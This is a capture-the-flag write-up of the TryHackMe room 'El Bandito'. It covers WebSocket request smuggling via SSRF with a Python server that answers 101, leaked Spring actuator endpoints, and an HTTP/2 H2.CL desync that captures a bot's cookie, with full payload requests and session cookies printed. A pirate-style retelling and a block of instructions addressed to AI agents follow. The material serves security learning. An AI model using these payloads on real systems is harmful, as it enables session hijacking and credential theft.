# El Bandito

{% embed url="<https://tryhackme.com/r/room/elbandito>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

If you finished the room with the help of a writeup I recommend doing the challenge again in a few months to forget about the path to take here. So you are able to improve on the topic of this challenge. Execution is easy, but detecting the right payloads is still hard and touchy.

## Recon

We start with a Nmap scan, and discover four open ports: 22, 22, 80, 631, and 8080.

<figure><img src="/files/kwYV4T5mzwtf5fHPnw2V" alt=""><figcaption></figcaption></figure>

In addition to SSH, the server provides three web servers. Interesting. But we already know from the challenge that it is probably a pure web challenge. On 8080, we are dealing with a Spring Java Framework. No other versions can be detected. The endpoint on Port 80 runs on HTTPS.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/el bandito]
└─$ nmap -sC -sV -p 22,80,631,8080 elbandito.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 14:56 EDT
Nmap scan report for elbandito.thm (10.10.235.198)
Host is up (0.036s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a8:6a:33:82:85:12:84:14:99:91:30:15:ab:fb:bf:32 (RSA)
|   256 8f:d2:f3:5a:92:14:96:b0:d3:d8:85:89:7e:7b:a9:7c (ECDSA)
|_  256 f6:ed:0d:61:22:66:5b:52:9f:7b:f8:42:6c:50:9c:3f (ED25519)
80/tcp   open  ssl/http El Bandito Server
|_http-server-header: El Bandito Server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Date: Sat, 23 Mar 2024 18:57:22 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: SAMEORIGIN
|     X-XSS-Protection: 1; mode=block
|     Feature-Policy: microphone 'none'; geolocation 'none';
|     Age: 0
|     Server: El Bandito Server
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sat, 23 Mar 2024 18:56:31 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 58
|     Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: SAMEORIGIN
|     X-XSS-Protection: 1; mode=block
|     Feature-Policy: microphone 'none'; geolocation 'none';
|     Age: 0
|     Server: El Bandito Server
|     Accept-Ranges: bytes
|     Connection: close
|     nothing to see <script src='/static/messages.js'></script>
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 23 Mar 2024 18:56:31 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 0
|     Allow: OPTIONS, HEAD, GET, POST
|     Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: SAMEORIGIN
|     X-XSS-Protection: 1; mode=block
|     Feature-Policy: microphone 'none'; geolocation 'none';
|     Age: 0
|     Server: El Bandito Server
|     Accept-Ranges: bytes
|     Connection: close
|   RTSPRequest: 
|_    HTTP/1.1 400 Bad Request
| ssl-cert: Subject: commonName=localhost
| Subject Alternative Name: DNS:localhost
| Not valid before: 2021-04-10T06:51:56
|_Not valid after:  2031-04-08T06:51:56
|_ssl-date: TLS randomness does not represent time
631/tcp  open  ipp      CUPS 2.4
|_http-server-header: CUPS/2.4 IPP/2.1
|_http-title: Bad Request - CUPS v2.4.7
8080/tcp open  http     nginx
|_http-favicon: Spring Java Framework
|_http-title: Site doesn't have a title (application/json;charset=UTF-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%T=SSL%I=7%D=3/23%Time=65FF25DE%P=x86_64-pc-linux-g

...

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.64 seconds
                                                             
```

We use Gobuster to determine the directories of the web applications. Unfortunately, we don't find much on endpoint 80; only `/static/messages.js` seems to be interesting. For further information, the page is enumerated manually.

```bash
gobuster dir -u https://elbandito.thm:80 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -k
```

<figure><img src="/files/TMraEMgwmxny4qAVpTwD" alt=""><figcaption></figcaption></figure>

8080 provides a few more directories, most of them are forbidden and known for Java Spring Framework.

```bash
gobuster dir -u http://elbandito.thm:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

```

<figure><img src="/files/WOR61R6nGk8wD5LUqvt0" alt=""><figcaption></figcaption></figure>

## The First Web Flag

As a first entry point, 8080 is of interest because it offers more directories, we know what kind of framework we are dealing with in the background (Java Spring Framework), and the first visit to the index page promises more. The page seems to have several links, most of which are just anchor points. Accessible pages here are Services and Burn Token.

<figure><img src="/files/xCeDvZYFWolAvICQ1vPa" alt=""><figcaption></figcaption></figure>

### Manual Enumeration

The `Burn Token` page has a form that offers interaction.

<figure><img src="/files/y9y2nSWEcH3b6frchtFt" alt=""><figcaption></figcaption></figure>

The page source code tells us that a WebSocket is hidden behind it, which is used.

<figure><img src="/files/lxYdEjWpEGFlZF9ZWUck" alt=""><figcaption></figcaption></figure>

This can be seen when loading the page, but there do not appear to be any open connections.

<figure><img src="/files/5D2ZQ76Zxqdpi0MaDfVS" alt=""><figcaption></figcaption></figure>

### Possible Request Smuggleing Via WebSocket&#x20;

We intercept the request on `burn.html` and see an `HTTP/1.1` WebSocket request in Burp Suite. Something I saw the day before in a freshly published walkthrough room on TryHackMe. Since we know that this is a pure web challenge, the theme of the bandit is continued from a previous challenge in which a part was also HTTP request smuggling, and the challenge itself writes:

`"We request your help in smuggling all the flags."`

This will probably be very much a challenge about request smuggling, especially WebSocket request smuggling, here.

<figure><img src="/files/yLI6tVegoPQpN33aDhXO" alt=""><figcaption></figcaption></figure>

The following resource gives guidance on WebSocket Request Smuggling:

{% embed url="<https://tryhackme.com/r/room/wsrequestsmuggling>" %}

Using WebSocket Request Smuggling, we can bypass proxy restrictions. By recalling spring actuator endpoints and the gobuster scan, we could be able to get access to sensitive information by accessing those restricted resources.

<figure><img src="/files/kjIihzegzxFv73ogfw3d" alt=""><figcaption><p>We are dealing with Spring Java Framework</p></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/spring-actuators>" %}

> Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.

We send the `/ws` request to the repeater and see that the path `/ws` does not exist.

<figure><img src="/files/vJEai2XLmnNIlg6ol8I3" alt=""><figcaption></figcaption></figure>

As described in `https://tryhackme.com/r/room/wsrequestsmuggling`, we can enable request smuggling using WebSocket Upgrade. We create a malformed request so that the proxy assumes that a WebSocket upgrade has taken place - for example, with a higher version number, here `777` -, but the version in the backend remains the same. This causes the proxy to create a tunnel between client and server, which is unchecked and perceived as a WebSocket connection, but the backend still expects HTTP traffic.

With this, we are tying to access a restricted resource by specifying an incorrect version number and applying request smuggling, but this does not work here.&#x20;

The server seems to be secured and checks whether the WebSocket upgrade was successful. We are not able to access `/env`, for example.

<figure><img src="/files/lSdAMHHl2Jg35peZYFeV" alt=""><figcaption></figcaption></figure>

### Defeating Secure Proxies

Since we can't smuggle requests with just a simple malformed request, we need to find a way to fool the proxy into believing that a valid WebSocket connection has been established.&#x20;

In other words, we have to somehow trick the proxy that the backend web server responds with a `101` Switching Protocols response without actually upgrading the connection in the backend to establish that 'upgrade'. So we are looking for an SSRF, also depicted here:

{% embed url="<https://tryhackme.com/r/room/wsrequestsmuggling>" %}

We come across `Services` and see an online status for `http://bandito.websocket.thm` and `http://bandito.public.thm`.&#x20;

<figure><img src="/files/AnsReCMQ9bAr2OuxyT5J" alt=""><figcaption></figcaption></figure>

We intercept the request, and lo and behold, we have the possibility to apply server-side request forgery. If we point to `/isOnline?url=http://attacker-server/` and have a a server, that responds only with 101s, we could make use of this to upgrade our websocket.

<figure><img src="/files/8SMFSQr2l7FXuu405Bis" alt=""><figcaption></figcaption></figure>

Fortunately, THM has already provided a server in python:&#x20;

{% embed url="<https://tryhackme.com/r/room/wsrequestsmuggling>" %}

{% code title="server.py" lineNumbers="true" %}

```python
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 1:
    print("""
Usage: {} 
    """.format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.protocol_version = "HTTP/1.1"
       self.send_response(101)
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```

{% endcode %}

We start the server...

<div data-full-width="true"><figure><img src="/files/5SfigShnJg7TTLd8K92o" alt=""><figcaption></figcaption></figure></div>

... And edit our initial request and swap `/` with `/isOnline?url=http://attacker-server:attacker-port/`. We are able to retrieve restricted resources now. Nice.

<figure><img src="/files/DJJkzes5HHTHRM8l6gLo" alt=""><figcaption></figcaption></figure>

```http
GET /isOnline?url=http://10.8.211.1:5555 HTTP/1.1
Host: elbandito.thm:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 777
Origin: http://elbandito.thm:8080
Sec-WebSocket-Key: 3vSZkmbaX99FKC2xCUF+UA==
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

GET /env HTTP/1.1
Host: elbandito.thm

```

Unfortunately, we have not found anything in `/env`, but we do have other directories that could contain something sensitive. At the resource `/trace`, we find two directories that we did not find in our Gobuster scan and are also not usual for the framework: `/admin-creds` and `/admin-flag`.

<figure><img src="/files/67DHIkN3mUlLSTlHbwHt" alt=""><figcaption></figcaption></figure>

On accessing `/admin-creds` we are able to retrieve some credentials, that might have been used for other stuff.

<figure><img src="/files/qYVDnZ2490D7uWgkrOiL" alt=""><figcaption></figcaption></figure>

And at `/admin-flag` we find our first flag.

<figure><img src="/files/nmj0otjgLpUyEdTaMciZ" alt=""><figcaption></figcaption></figure>

A deep dive into the topic of WebSocket Request Smuggling can be found here:&#x20;

{% embed url="<https://github.com/0ang3el/websocket-smuggle>" %}

## The Second Web Flag

We continue at the end point 80. The index page shows a `nothing to see`, but that's not the case.&#x20;

<figure><img src="/files/38qfdNsQx2oxj3GbqnTK" alt=""><figcaption></figcaption></figure>

Like the Gobuster scan, the source reveals `/static/messages.js`. This could be our entry point.

<figure><img src="/files/zw12dC2yP3hnURu3fyDY" alt=""><figcaption></figcaption></figure>

The JavaScript code manages a chat interface between two users, `JACK` and `OLIVER`. It handles message fetching, displaying, and sending functionalities. Users can switch between `JACK` and `OLIVER`'s messages by clicking on their respective discussion tabs. When sending a message, the code distinguishes between regular user messages and those from a simulated `bot`, which is indicated in the chat interface.

{% code title="/static/messages.js" overflow="wrap" lineNumbers="true" %}

```javascript
document.addEventListener("DOMContentLoaded", function () {
	const discussions = document.querySelectorAll(".discussion");
	const messagesChat = document.querySelector(".messages-chat");
	const headerName = document.querySelector(".header-chat .name");
	const writeMessageInput = document.querySelector(".write-message");
	let userMessages = {
		JACK: [],
		OLIVER: [],
	};

	// Function to fetch messages from the server
	function fetchMessages() {
		fetch("/getMessages")
			.then((response) => {
				if (!response.ok) {
					throw new Error("Failed to fetch messages");
				}
				return response.json();
			})
			.then((messages) => {
				userMessages = messages;/
				userMessages.JACK === undefined
					? (userMessages = { OLIVER: messages.OLIVER, JACK: [] })
					: userMessages.OLIVER === undefined &&
					  (userMessages = { JACK: messages.JACK, OLIVER: [] });

				displayMessages("JACK");
			})
			.catch((error) => console.error("Error fetching messages:", error));
	}

	// Function to display messages for the selected user
	function displayMessages(userName) {
		headerName.innerText = userName;
		messagesChat.innerHTML = "";
		userMessages[userName].forEach(function (messageData) {
			appendMessage(messageData);
		});
	}

	// Function to append a message to the chat area
	function appendMessage(messageData) {
		const newMessage = document.createElement("div");
		console.log({ messageData });
		newMessage.classList.add("message", "text-only");
		newMessage.innerHTML = `
           ${messageData.sender !== "Bot" ? '<div class="response">' : ""}
        <div class="text">${messageData}</div>
    ${messageData.sender !== "Bot" ? "</div>" : ""}
        `;
		messagesChat.appendChild(newMessage);
	}

	// Function to send a message to the server
	function sendMessage() {
		const messageText = writeMessageInput.value.trim();
		if (messageText !== "") {
			const activeUser = headerName.innerText;
			const urlParams = new URLSearchParams(window.location.search);
			const isBot =
				urlParams.has("msg") && urlParams.get("msg") === messageText;

			const messageData = {
				message: messageText,
				sender: isBot ? "Bot" : activeUser, // Set the sender as "Bot"
			};
			userMessages[activeUser].push(messageData);
			appendMessage(messageText);
			writeMessageInput.value = "";
			scrollToBottom();
			console.log({ activeUser });
			fetch("/send_message", {
				method: "POST",
				headers: {
					"Content-Type": "application/x-www-form-urlencoded",
				},
				body: "data="+messageText
			})
				.then((response) => {
					if (!response.ok) {
						throw new Error("Network response was not ok");
					}
					console.log("Message sent successfully");
				})
				.catch((error) => {
					console.error("Error sending message:", error);
					// Handle error (e.g., display error message to the user)
				});
		}
	}

	// Event listeners
	discussions.forEach(function (discussion) {
		discussion.addEventListener("click", function () {
			const userName = this.dataset.name;
			console.log({ userName });
			displayMessages(userName.toUpperCase());
		});
	});

	const sendButton = document.querySelector(".send");
	sendButton.addEventListener("click", sendMessage);
	writeMessageInput.addEventListener("keydown", function (event) {
		if (event.key === "Enter") {
			event.preventDefault();
			sendMessage();
		}
	});

	// Initial actions
	fetchMessages();
});

// Function to scroll to the bottom of the messages chat
function scrollToBottom() {
	const messagesChat = document.getElementById("messages-chat");
	messagesChat.scrollTop = messagesChat.scrollHeight;
}

```

{% endcode %}

We know about a message board, and about directory `/access`. If we visit this, we get a login mask. We have already harvested 8080 credentials, which we now use here to log in as `hAckLIEN`.

<figure><img src="/files/VKZwh0PFNcOUBb6h5iMv" alt=""><figcaption></figcaption></figure>

We have a chat in front of us, between `hAckLIEN` and `Jack`. We can select the chats between `Jack` and `Oliver`, but there is none with `Oliver`.

<figure><img src="/files/JeEi7li7q2wfut3AH9W5" alt=""><figcaption></figcaption></figure>

### Analyzing Requests

Let's take a look at what requests are made when we reload `/messages` and sending messages.

<figure><img src="/files/y7A41pTADfyhxv24xpv2" alt=""><figcaption></figcaption></figure>

In addition to the board, the messages are also loaded, as the structure of the script suggests.

<figure><img src="/files/wgGLhdhJlYxF3a9jJsTK" alt=""><figcaption></figcaption></figure>

We can send any messages with our session.

<figure><img src="/files/pv7itFY7EPBwv0xHX6OT" alt=""><figcaption></figcaption></figure>

As this room stated, `"We request your help in smuggling all the flags."` All flags could have something to do with HTTP Request Smuggling. Let's try to detect it.

All the requests we have made are `HTTP/2` requests. There is not much smuggling possible unless we can downgrade to `HTTP/1.1`. If this is not possible, we only have `HTTP/2` request tunneling as another option. A good explanation with hands-on practices for `HTTP/2` Request Smuggling is available at:

{% embed url="<https://tryhackme.com/r/room/http2requestsmuggling>" %}

Let's switch to `HTTP/1.1` in Burp Suite. And seeing that these requests are also supported is interesting. Perhaps a downgrade is possible.

<figure><img src="/files/A99UEXhXZqNAWZ6hUoMw" alt=""><figcaption></figcaption></figure>

### Different Approaches To Request Smuggling

The first tests for smuggling were carried out purely on `HTTP/1.1`. At some point there was an error that I could no longer reproduce myself due to the abundance of payloads. We receive a `503` backend fetch failed, which tells us that we are dealing with a `Varnish cache server`, which is known to be susceptible for some versions to request smuggling.

<figure><img src="/files/DVtNsz4XtDTsKZjpKHHu" alt=""><figcaption></figcaption></figure>

With the following request, this can be safely reproduced:

<figure><img src="/files/7imkuZkfUNpRqLCc5pm3" alt=""><figcaption></figcaption></figure>

We set the `Content-Length` now to `0`, disable the `Content-Length` update in Burp Suite, and append a second request to retrieve all the messages after sending a message. The reply suggests, and confirms, that HTTP Request Smuggling is possible here.

<figure><img src="/files/napZ0xXXVDgD2wlE7IJm" alt=""><figcaption></figcaption></figure>

### Exploiting HTTP/2 Desync - Downgrade Via H2.CL

We have seen that we can also send `HTTP/1.1` requests successfully and chain requests by setting the `Content-Length` to `0` for the first request. It is very likely that an `HTTP/2` downgrade is possible.&#x20;

This Downgrade of `HTTP/2` to `HTTP/1.1` requests via Content-Length Header is called `H2.CL` and is pictured in the following Walkthrough-Room of TryHackMe - Task 3: HTTP2/Desync HTTP/2 Downgrading H2.CL:

{% embed url="<https://tryhackme.com/r/room/http2requestsmuggling>" %}

> HTTP/2 downgrading occurs when a reverse proxy serves content to the end user with HTTP/2 (front-end connection) but requests it from the back-end servers with HTTP/1.1 (back-end connection). The Content-Length header isn't significant for HTTP/2, as the length of the request body is clearly defined. But a Content-Length header can still be added to an HTTP/2 request. If an HTTP downgrade occurs, the proxy will pass on the added Content-Length header from HTTP/2 to the HTTP/1.1 connection and thus enable desynchronization. The proxy receives the HTTP/2 request on the frontend connection. When translating the request to HTTP/1.1, it simply passes the Content-Length header to the backend connection. The backend web server then reads the request andd acknowledges the injected Content-Length as valid, which enables HTTP Request Smuggling.

We switch back to `HTTP/2` in our previously made request to `/send_message` and try our first approach. We set the `Content-Length` to `0` and appended the data `SMUGGLED` to our `POST` request. The automatic update of the `Content-Length` in Burp Suite has to be disabled.

After multiple request we can see, that after a successful one we get a `405` Not Allowed Response. We can imagine, that our request after a successful one gets appended to `SMUGGLED` which make the `POST /send_message HTTP/2` request to a `SMUGGLEDPOST /send_message HTTP/2` which results in a `405`.&#x20;

<figure><img src="/files/X2OyigfjZJHlGDW8KKcz" alt=""><figcaption><p>H2.CL desync example</p></figcaption></figure>

The endpoint might be vulnerable to `HTTP/2 Downgrade Via H2.CL`.

<figure><img src="/files/VKqgxohQwHP4HGWlrvBn" alt=""><figcaption></figcaption></figure>

Since `HTTP/2` smuggling is probably possible, we now have to think about how we can exploit it. We have a message board with at least two users and one bot. They may still communicate on this board. The idea is now to intercept the request of one of the users and retrieve sensitive information of the request made.

We can realize this by smuggling; we place an incomplete `send_message` request on the server, with a sufficient content length. The request of the victim should serve as data, so that it can be posted on the message board, visible to us.

The following request executes exactly that: we adapt our `send_message` request in the repeater so that we are querying `/` instead of `send_messages`.

<pre class="language-http"><code class="lang-http">POST / HTTP/2
Host: elbandito.thm:80
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.Zf9h6Q._RuzBukkXUAbWkck_BFx4LA4rcc
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 0

POST /send_message HTTP/1.1
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.Zf9h6Q._RuzBukkXUAbWkck_BFx4LA4rcc
<strong>Host: elbandito.thm:80
</strong><strong>Content-Length: 900
</strong>Content-Type: application/x-www-form-urlencoded

data=
</code></pre>

Make sure that you have already intercepted the `/messages` and `/send_message` requests once in Burp Suite. Intercept the `send_message` request via the proxy and forward it to the Burp Suite repeater. Here, we will now revise the entire request.

It is possible that it is an `HTTP/1.1` request that you have intercepted; change this to `HTTP/2` via the inspector panel. Then replace the request.

We send our initial request to `/`, using `Content-Length: 0`. We append an incomplete `send_message` request to this request. This way we write the request of another user to our message board. With a sufficient content length of 900 or more, we ensure that everything from the user's request is taken into account as `data` for the message.

<figure><img src="/files/6cGK6VxyJjnIez72mhze" alt=""><figcaption><p>H2.CL desnyc example on elbandito.thm</p></figcaption></figure>

{% hint style="info" %}
A mistake has sneaked in here in my explanation.&#x20;

Many thanks to huggi77 <https://tryhackme.com/r/p/huggi77>, who, when trying the steps below, realized that they did not lead to the desired result and pointed this out to me.
{% endhint %}

~~This request must be spammed again until the response is delayed. It is now necessary to wait until the `503` service unavailable response arrives. This is updates continuously. After approximately one minute, the victim should also have submitted a request, which we can now find on the message board `/getMessages`.~~

{% hint style="info" %}
This is the updated version.
{% endhint %}

As shown below, we send the request described above until the response is delayed and finally returns a `503`. Make sure to set the correct carriage returns and line feeds, like in the image shown below:

<figure><img src="/files/9bP4ZH8ND9p36W4IhCj7" alt=""><figcaption><p>This is an old image with the Content-Lenght of 900. Change that to 730</p></figcaption></figure>

```
POST / HTTP/2
Host: elbandito.thm:80
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.Z0CrHA.e5lrq5E_loCdjx8-xG7OUbDQMlQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 0

POST /send_message HTTP/1.1
Host: elbandito.thm:80
Cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0.Z0CrHA.e5lrq5E_loCdjx8-xG7OUbDQMlQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 730

data=
```

We then resend it once again and receive a `200` response. It is important here that the content length does not exceed the length of the presumed request of the victim that we want to intercept.&#x20;

We chose a `Content-Length` of `~730`; previously it was `900`. The `Content-Length` of `900` does not lead to consistent results. A possible explanation can be found in \
Volta's (<https://tryhackme.com/r/p/Volta>) write-up \
<https://voltatech.in/blog/2024/tryhackme-elbandito/#weaponizing-the-smuggled-request>:

> If you set the `Content-Length` larger than the request made by the victim then the application will just timeout.

<figure><img src="/files/s3nuGGHFEPbxRMj2KyOc" alt=""><figcaption></figcaption></figure>

**Now we have to wait about 2 minutes for the bot to make a request.**

We call `/getMessages` and find the expected response. We catched a login request. The second flag is in the cookie information.

<figure><img src="/files/M1Ops4v8IwmmhkclRIVW" alt=""><figcaption></figcaption></figure>

## Conclusion

Thank you, l4m3r8, for this awesome challenge. It took me some time, and in the end, it added some more brain wrinkles to my brain.&#x20;

After completing the walkthrough rooms, I felt very prepared for the various request-smuggling techniques. But that's probably not quite the case. They are very easy to execute, but very difficult to recognize. Practice makes the difference. I think if I came across another smuggling challenge, I would still need hours to detect it and exploit it.

But this is the way.

## A Smuggler's Tale

### The Pirate's Recon

We set sail with our trusty Nmap scanner, scouring the digital seas for treasures. Aye, we spy four open ports: 22, 80, 631, and 8080. But it's the promise of buried booty on ports 80 and 8080 that catches our keen pirate eyes.

### Hoisting the Jolly Roger on Port 8080

Ahoy, me hearties! Port 8080 be teemin' with possibilities. Aye, we be dealin' with the Java Spring Framework, aye, a fine vessel to plunder. We spy a page called "Burn Token", hintin' at secrets beneath the surface.

We delve deep, sniffin' out a hidden WebSocket like a bloodhound on the scent of treasure. But the path be barred by a proxy, aye, a clever guardian protectin' the loot. Yet we be crafty pirates, and we spy a vulnerability in the proxy's defenses – aye, a server-side request forgery lurks, just waitin' for a scallywag like meself to exploit it.

With a bit o' trickery and a server of our own, we breach the defenses and plunder the forbidden directories. Aye, we find a trove of credentials in `/admin-creds`, and our first flag be flyin' high at `/admin-flag`.

### Chartin' a Course for Port 80

But our quest be far from over, me hearties! We set sail for port 80, where a mysterious message board awaits. Aye, it be guarded by a login prompt, but fear not – we've got the keys to the kingdom from our earlier plunderin'.

We slip into the chat like shadows in the night, eavesdroppin' on conversations betwixt `hAckLIEN` and `Jack`. But the real treasure lies in the messages themselves, ripe for the plunderin'.

### Unleashin' the Kraken – Request Smugglin' Ahoy!

But wait – what be this? Our requests be met with a strange response, aye, a `503` error from a Varnish cache server. Methinks there be mischief afoot – aye, HTTP request smugglin' be the name of the game.

We splice the mainbrace and set our sights on smugglin' requests, usin' HTTP/2 trickery and downgrades to breach the defenses. Aye, we be slippery devils, slippin' past the guards and snatchin' flags from right under their noses.

### The Spoils of Victory

And so, me hearties, we emerge victorious, flags in hand and treasure in our grasp. With our wits and our cunning, we've outsmarted the guardians of the digital realm and claimed our rightful booty.

But let this tale be a warnin' to ye – the seas of cyberspace be treacherous indeed, and only the boldest and the craftiest pirates can hope to navigate them unscathed. So set yer sails high, me hearties, and may the winds of fortune ever be at yer back! Argh!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/el-bandito.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
